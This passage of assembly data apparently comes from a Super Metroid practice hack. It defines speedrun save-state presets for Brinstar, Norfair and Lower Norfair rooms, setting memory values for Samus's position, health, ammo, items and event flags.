dl $7E0AF6 : db $02 : dw $0080 ; Samus X
dl $7E0AFA : db $02 : dw $0087 ; Samus Y
dl $7ED91A : db $02 : dw $002C ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_spore_spawn_supers:
dw #preset_rbo_brinstar_cleanup_alpha_spark ; Brinstar Cleanup: Alpha Spark
dl $7E078D : db $02 : dw $8E7A ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $9D19 ; MDB
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $6000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0517 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0040 ; Health
dl $7E09CE : db $02 : dw $0003 ; Pbs
dl $7E0A1C : db $02 : dw $0007 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $0389 ; Samus X
dl $7E0AFA : db $02 : dw $05AB ; Samus Y
dl $7ED91A : db $02 : dw $0030 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_dachora_room:
dw #preset_rbo_brinstar_cleanup_spore_spawn_supers ; Brinstar Cleanup: Spore Spawn Supers
dl $7E078D : db $02 : dw $8FB2 ; DDB
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $02FA ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $01F2 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01A3 ; Health
dl $7E09C4 : db $02 : dw $01F3 ; Max health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CA : db $02 : dw $0006 ; Supers
dl $7E09CC : db $02 : dw $000A ; Max supers
dl $7E09CE : db $02 : dw $0002 ; Pbs
dl $7E0A1C : db $02 : dw $00E7 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $039A ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED870 : db $02 : dw $4180 ; Events, Items, Doors
dl $7ED874 : db $02 : dw $050C ; Events, Items, Doors
dl $7ED8B4 : db $02 : dw $0346 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $B0EC ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0038 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_green_shaft_down:
dw #preset_rbo_brinstar_cleanup_dachora_room ; Brinstar Cleanup: Dachora Room
dl $7E078D : db $02 : dw $8DA2 ; DDB
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $EC01 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $05FB ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $0032 ; Samus position/state
dl $7E0A1E : db $02 : dw $0804 ; More position/state
dl $7E0AF6 : db $02 : dw $0091 ; Samus X
dl $7E0AFA : db $02 : dw $0685 ; Samus Y
dl $7ED91A : db $02 : dw $0039 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_etecoon_supers:
dw #preset_rbo_brinstar_cleanup_green_shaft_down ; Brinstar Cleanup: Green Shaft (Down)
dl $7E078D : db $02 : dw $8CBE ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9FE5 ; MDB
dl $7E090F : db $02 : dw $D000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $8C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0185 ; Health
dl $7E09C6 : db $02 : dw $000E ; Missiles
dl $7E09CE : db $02 : dw $0005 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $0038 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_green_shaft_up:
dw #preset_rbo_brinstar_cleanup_etecoon_supers ; Brinstar Cleanup: Etecoon Supers
dl $7E078D : db $02 : dw $8F46 ; DDB
dl $7E079B : db $02 : dw $9AD9 ; MDB
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0700 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0203 ; Health
dl $7E09C4 : db $02 : dw $0257 ; Max health
dl $7E09CA : db $02 : dw $000A ; Supers
dl $7E09CC : db $02 : dw $000F ; Max supers
dl $7E09CE : db $02 : dw $0009 ; Pbs
dl $7E09D0 : db $02 : dw $000A ; Max pbs
dl $7E0AF6 : db $02 : dw $0137 ; Samus X
dl $7E0AFA : db $02 : dw $078B ; Samus Y
dl $7ED870 : db $02 : dw $6180 ; Events, Items, Doors
dl $7ED872 : db $02 : dw $F483 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $B0FC ; Events, Items, Doors
dl $7ED91A : db $02 : dw $003D ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_reverse_terminator:
dw #preset_rbo_brinstar_cleanup_green_shaft_up ; Brinstar Cleanup: Green Shaft (Up)
dl $7E078D : db $02 : dw $8C16 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $99BD ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F3 : db $02 : dw $0009 ; Music Bank
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $040E ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01FE ; Health
dl $7E09C6 : db $02 : dw $0009 ; Missiles
dl $7E09CE : db $02 : dw $0008 ; Pbs
dl $7E0A1C : db $02 : dw $0009 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $005F ; Samus X
dl $7E0AFA : db $02 : dw $048B ; Samus Y
dl $7ED91A : db $02 : dw $0040 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_climb_supers_moonfall:
dw #preset_rbo_brinstar_cleanup_reverse_terminator ; Brinstar Cleanup: Reverse Terminator
dl $7E078D : db $02 : dw $8BF2 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $92FD ; MDB
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $3800 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $041F ; Screen Y position in pixels
dl $7E0A1C : db $02 : dw $002A ; Samus position/state
dl $7E0A1E : db $02 : dw $0604 ; More position/state
dl $7E0AF6 : db $02 : dw $018D ; Samus X
dl $7E0AFA : db $02 : dw $04C2 ; Samus Y
dl $7ED91A : db $02 : dw $0041 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_retro_brinstar_powerbombs:
dw #preset_rbo_brinstar_cleanup_climb_supers_moonfall ; Brinstar Cleanup: Climb Supers Moonfall
dl $7E078D : db $02 : dw $8B86 ; DDB
dl $7E079B : db $02 : dw $97B5 ; MDB
dl $7E07C3 : db $02 : dw $F911 ; GFX Pointers
dl $7E07C5 : db $02 : dw $43BA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AF ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0108 ; Health
dl $7E09C6 : db $02 : dw $000B ; Missiles
dl $7E09CA : db $02 : dw $000F ; Supers
dl $7E09CC : db $02 : dw $0014 ; Max supers
dl $7E09CE : db $02 : dw $0006 ; Pbs
dl $7E0A1C : db $02 : dw $000F ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0052 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED870 : db $02 : dw $6980 ; Events, Items, Doors
dl $7ED8B2 : db $02 : dw $2E08 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0043 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_brinstar_cleanup_ball_buster:
dw #preset_rbo_brinstar_cleanup_retro_brinstar_powerbombs ; Brinstar Cleanup: Retro Brinstar Powerbombs
dl $7E078D : db $02 : dw $8E92 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $9FBA ; MDB
dl $7E079F : db $02 : dw $0001 ; Region
dl $7E07C3 : db $02 : dw $E6B0 ; GFX Pointers
dl $7E07C5 : db $02 : dw $64BB ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B2 ; GFX Pointers
dl $7E07F3 : db $02 : dw $000F ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E0911 : db $02 : dw $003B ; Screen X position in pixels
dl $7E0913 : db $02 : dw $7000 ; Screen subpixel Y position
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CE : db $02 : dw $000A ; Pbs
dl $7E09D0 : db $02 : dw $000F ; Max pbs
dl $7E0A1C : db $02 : dw $0001 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $009B ; Samus X
dl $7E0AFA : db $02 : dw $00AB ; Samus Y
dl $7ED872 : db $02 : dw $FC83 ; Events, Items, Doors
dl $7ED8B6 : db $02 : dw $B0FE ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0045 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_ice_entry:
dw #preset_rbo_brinstar_cleanup_ball_buster ; Brinstar Cleanup: Ball Buster
dl $7E078D : db $02 : dw $9246 ; DDB
dl $7E078F : db $02 : dw $0005 ; DoorOut Index
dl $7E079B : db $02 : dw $A7DE ; MDB
dl $7E079F : db $02 : dw $0002 ; Region
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0015 ; Music Bank
dl $7E090F : db $02 : dw $4000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0322 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0104 ; Health
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E0A1C : db $02 : dw $00A5 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $002F ; Samus X
dl $7E0AFA : db $02 : dw $0393 ; Samus Y
dl $7ED8B8 : db $02 : dw $2E00 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_ice_escape:
dw #preset_rbo_norfair_second_visit_ice_entry ; Norfair (Second Visit): Ice Entry
dl $7E078D : db $02 : dw $937E ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $A890 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $8000 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1007 ; Beams
dl $7E09A8 : db $02 : dw $1007 ; Beams
dl $7E09C2 : db $02 : dw $00AF ; Health
dl $7E09CE : db $02 : dw $0009 ; Pbs
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0AF6 : db $02 : dw $00B6 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED876 : db $02 : dw $0124 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0046 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_croc_shaft_moonfall:
dw #preset_rbo_norfair_second_visit_ice_escape ; Norfair (Second Visit): Ice Escape
dl $7E078D : db $02 : dw $9276 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $A815 ; MDB
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0010 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0300 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0087 ; Health
dl $7E09CE : db $02 : dw $000A ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $00B0 ; Samus X
dl $7E0AFA : db $02 : dw $03AB ; Samus Y
dw #$FFFF
.after
preset_rbo_norfair_second_visit_croc:
dw #preset_rbo_norfair_second_visit_croc_shaft_moonfall ; Norfair (Second Visit): Croc Shaft Moonfall
dl $7E078D : db $02 : dw $9396 ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $A923 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $D880 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0C00 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2C00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $003E ; Health
dl $7E09CA : db $02 : dw $0010 ; Supers
dl $7E09D6 : db $02 : dw $0000 ; Reserves
dl $7E0A1C : db $02 : dw $0029 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0AF6 : db $02 : dw $0C86 ; Samus X
dl $7E0AFA : db $02 : dw $02C9 ; Samus Y
dl $7ED8B8 : db $02 : dw $6E00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0047 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_grapple_escape:
dw #preset_rbo_norfair_second_visit_croc ; Norfair (Second Visit): Croc
dl $7E078D : db $02 : dw $94DA ; DDB
dl $7E079B : db $02 : dw $AC2B ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $E000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $D400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09A2 : db $02 : dw $7104 ; Equipped Items
dl $7E09A4 : db $02 : dw $7104 ; Collected Items
dl $7E09C2 : db $02 : dw $0255 ; Health
dl $7E09C4 : db $02 : dw $02BB ; Max health
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E09CE : db $02 : dw $000E ; Pbs
dl $7E09D0 : db $02 : dw $0014 ; Max pbs
dl $7E09D6 : db $02 : dw $0012 ; Reserves
dl $7E0A1C : db $02 : dw $009D ; Samus position/state
dl $7E0A1E : db $02 : dw $0E08 ; More position/state
dl $7E0AF6 : db $02 : dw $0055 ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED82A : db $02 : dw $0002 ; Events, Items, Doors
dl $7ED876 : db $02 : dw $1334 ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $00F3 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $004B ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_lava_dive_grapple_room:
dw #preset_rbo_norfair_second_visit_grapple_escape ; Norfair (Second Visit): Grapple Escape
dl $7E078D : db $02 : dw $9756 ; DDB
dl $7E079B : db $02 : dw $B026 ; MDB
dl $7E07C3 : db $02 : dw $860B ; GFX Pointers
dl $7E07C5 : db $02 : dw $58C0 ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2BE ; GFX Pointers
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E0913 : db $02 : dw $AC00 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $02BB ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E09CE : db $02 : dw $0010 ; Pbs
dl $7E09D6 : db $02 : dw $0064 ; Reserves
dl $7E0A1C : db $02 : dw $0051 ; Samus position/state
dl $7E0A1E : db $02 : dw $0208 ; More position/state
dl $7E0AF6 : db $02 : dw $00BF ; Samus X
dl $7E0AFA : db $02 : dw $007E ; Samus Y
dl $7ED8B8 : db $02 : dw $EE00 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $004D ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_second_visit_lava_dive_entry_room:
dw #preset_rbo_norfair_second_visit_lava_dive_grapple_room ; Norfair (Second Visit): Lava Dive (Grapple Room)
dl $7E078D : db $02 : dw $9792 ; DDB
dl $7E079B : db $02 : dw $AFFB ; MDB
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $CC4C ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $5ABE ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0270 ; Health
dl $7E0A1C : db $02 : dw $00E2 ; Samus position/state
dl $7E0A1E : db $02 : dw $0008 ; More position/state
dl $7E0AF6 : db $02 : dw $03C4 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dw #$FFFF
.after
preset_rbo_lower_norfair_green_gate_glitch:
dw #preset_rbo_norfair_second_visit_lava_dive_entry_room ; Norfair (Second Visit): Lava Dive (Entry Room)
dl $7E078D : db $02 : dw $96F6 ; DDB
dl $7E078F : db $02 : dw $0003 ; DoorOut Index
dl $7E079B : db $02 : dw $B236 ; MDB
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
dl $7E090F : db $02 : dw $C000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0700 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0200 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $01C4 ; Health
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E09CA : db $02 : dw $000A ; Supers
dl $7E09CE : db $02 : dw $0005 ; Pbs
dl $7E0A1C : db $02 : dw $001E ; Samus position/state
dl $7E0A1E : db $02 : dw $0408 ; More position/state
dl $7E0AF6 : db $02 : dw $07C8 ; Samus X
dl $7E0AFA : db $02 : dw $0299 ; Samus Y
dl $7ED8BA : db $02 : dw $01F3 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_golden_torizo:
dw #preset_rbo_lower_norfair_green_gate_glitch ; Lower Norfair: Green Gate Glitch
dl $7E078D : db $02 : dw $98A6 ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B6C1 ; MDB
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $3FFF ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $4000 ; Screen subpixel Y position
dl $7E09A2 : db $02 : dw $710C ; Equipped Items
dl $7E09A4 : db $02 : dw $710C ; Collected Items
dl $7E09C2 : db $02 : dw $0297 ; Health
dl $7E09CA : db $02 : dw $0014 ; Supers
dl $7E09CE : db $02 : dw $0004 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $00A8 ; Samus X
dl $7E0AFA : db $02 : dw $029B ; Samus Y
dl $7ED878 : db $02 : dw $801C ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0050 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_energy_refill_escape:
dw #preset_rbo_lower_norfair_golden_torizo ; Lower Norfair: Golden Torizo
dl $7E078D : db $02 : dw $9A7A ; DDB
dl $7E078F : db $02 : dw $0001 ; DoorOut Index
dl $7E079B : db $02 : dw $B305 ; MDB
dl $7E07C3 : db $02 : dw $860B ; GFX Pointers
dl $7E07C5 : db $02 : dw $58C0 ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2BE ; GFX Pointers
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E090F : db $02 : dw $1001 ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $B400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1001 ; Beams
dl $7E09C2 : db $02 : dw $02BB ; Health
dl $7E09C6 : db $02 : dw $000D ; Missiles
dl $7E09CA : db $02 : dw $000D ; Supers
dl $7E09CC : db $02 : dw $0019 ; Max supers
dl $7E09CE : db $02 : dw $0006 ; Pbs
dl $7E0A1C : db $02 : dw $0008 ; Samus position/state
dl $7E0A1E : db $02 : dw $0004 ; More position/state
dl $7E0AF6 : db $02 : dw $0030 ; Samus X
dl $7E0AFA : db $02 : dw $008B ; Samus Y
dl $7ED82A : db $02 : dw $0006 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $809C ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $03F3 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0053 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_writg:
dw #preset_rbo_lower_norfair_energy_refill_escape ; Lower Norfair: Energy Refill (Escape)
dl $7E078D : db $02 : dw $9912 ; DDB
dl $7E078F : db $02 : dw $0004 ; DoorOut Index
dl $7E079B : db $02 : dw $B457 ; MDB
dl $7E07C3 : db $02 : dw $C3F9 ; GFX Pointers
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $E600 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0300 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $8400 ; Screen subpixel Y position
dl $7E09C2 : db $02 : dw $0173 ; Health
dl $7E09CA : db $02 : dw $0012 ; Supers
dl $7E09CE : db $02 : dw $0008 ; Pbs
dl $7E0A1C : db $02 : dw $0067 ; Samus position/state
dl $7E0A1E : db $02 : dw $0608 ; More position/state
dl $7E0AF6 : db $02 : dw $03D3 ; Samus X
dl $7E0AFA : db $02 : dw $0074 ; Samus Y
dl $7ED91A : db $02 : dw $0054 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_kihunter_stairs_down:
dw #preset_rbo_lower_norfair_writg ; Lower Norfair: WRITG
dl $7E078D : db $02 : dw $9A02 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $B6EE ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E090F : db $02 : dw $0000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0100 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $0000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0322 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $0317 ; Health
dl $7E09C4 : db $02 : dw $031F ; Max health
dl $7E09C6 : db $02 : dw $000F ; Missiles
dl $7E09CE : db $02 : dw $000B ; Pbs
dl $7E0A1C : db $02 : dw $0012 ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0AF6 : db $02 : dw $013D ; Samus X
dl $7E0AFA : db $02 : dw $038B ; Samus Y
dl $7ED87A : db $02 : dw $0001 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0055 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_ninja_pirates:
dw #preset_rbo_lower_norfair_kihunter_stairs_down ; Lower Norfair: Kihunter Stairs (Down)
dl $7E078D : db $02 : dw $99EA ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $B5D5 ; MDB
dl $7E07C5 : db $02 : dw $E4BD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B5 ; GFX Pointers
dl $7E090F : db $02 : dw $7000 ; Screen subpixel X position.
dl $7E0915 : db $02 : dw $021F ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $010F ; Health
dl $7E09CA : db $02 : dw $0011 ; Supers
dl $7E09CE : db $02 : dw $0008 ; Pbs
dl $7E0A1C : db $02 : dw $000A ; Samus position/state
dl $7E0AF6 : db $02 : dw $013F ; Samus X
dl $7E0AFA : db $02 : dw $028B ; Samus Y
dl $7ED8BA : db $02 : dw $C3F3 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0056 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_lower_norfair_ridley:
dw #preset_rbo_lower_norfair_ninja_pirates ; Lower Norfair: Ninja Pirates
dl $7E078D : db $02 : dw $995A ; DDB
dl $7E079B : db $02 : dw $B37A ; MDB
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $2000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0000 ; Screen Y position in pixels
dl $7E09C2 : db $02 : dw $026C ; Health
dl $7E09C6 : db $02 : dw $0005 ; Missiles
dl $7E09CA : db $02 : dw $0019 ; Supers
dl $7E09CE : db $02 : dw $0002 ; Pbs
dl $7E0AF6 : db $02 : dw $0033 ; Samus X
dl $7E0AFA : db $02 : dw $009B ; Samus Y
dl $7ED8BA : db $02 : dw $D3F3 ; Events, Items, Doors
dl $7ED8BC : db $02 : dw $0001 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_escape_postridley:
dw #preset_rbo_lower_norfair_ridley ; Lower Norfair: Ridley
dl $7E078D : db $02 : dw $9A62 ; DDB
dl $7E079B : db $02 : dw $B32E ; MDB
dl $7E07F3 : db $02 : dw $0024 ; Music Bank
dl $7E07F5 : db $02 : dw $0003 ; Music Track
dl $7E090F : db $02 : dw $EFFF ; Screen subpixel X position.
dl $7E0913 : db $02 : dw $C000 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $011F ; Screen Y position in pixels
dl $7E09A6 : db $02 : dw $1007 ; Beams
dl $7E09C2 : db $02 : dw $036D ; Health
dl $7E09C4 : db $02 : dw $0383 ; Max health
dl $7E09C6 : db $02 : dw $000E ; Missiles
dl $7E09CA : db $02 : dw $0004 ; Supers
dl $7E09CE : db $02 : dw $0001 ; Pbs
dl $7E09D6 : db $02 : dw $0000 ; Reserves
dl $7E0A1C : db $02 : dw $0011 ; Samus position/state
dl $7E0A1E : db $02 : dw $0108 ; More position/state
dl $7E0AF6 : db $02 : dw $0050 ; Samus X
dl $7E0AFA : db $02 : dw $019B ; Samus Y
dl $7ED82A : db $02 : dw $0007 ; Events, Items, Doors
dl $7ED878 : db $02 : dw $C09C ; Events, Items, Doors
dl $7ED8BA : db $02 : dw $DBF3 ; Events, Items, Doors
dl $7ED91A : db $02 : dw $0057 ; Events, Items, Doors
dw #$FFFF
.after
preset_rbo_norfair_escape_firefleas_exit_spikesuit:
dw #preset_rbo_norfair_escape_postridley ; Norfair Escape: Post-Ridley
dl $7E078D : db $02 : dw $9A02 ; DDB
dl $7E078F : db $02 : dw $0002 ; DoorOut Index
dl $7E079B : db $02 : dw $B6EE ; MDB
dl $7E07C5 : db $02 : dw $BBBD ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2B6 ; GFX Pointers
dl $7E07F3 : db $02 : dw $0018 ; Music Bank
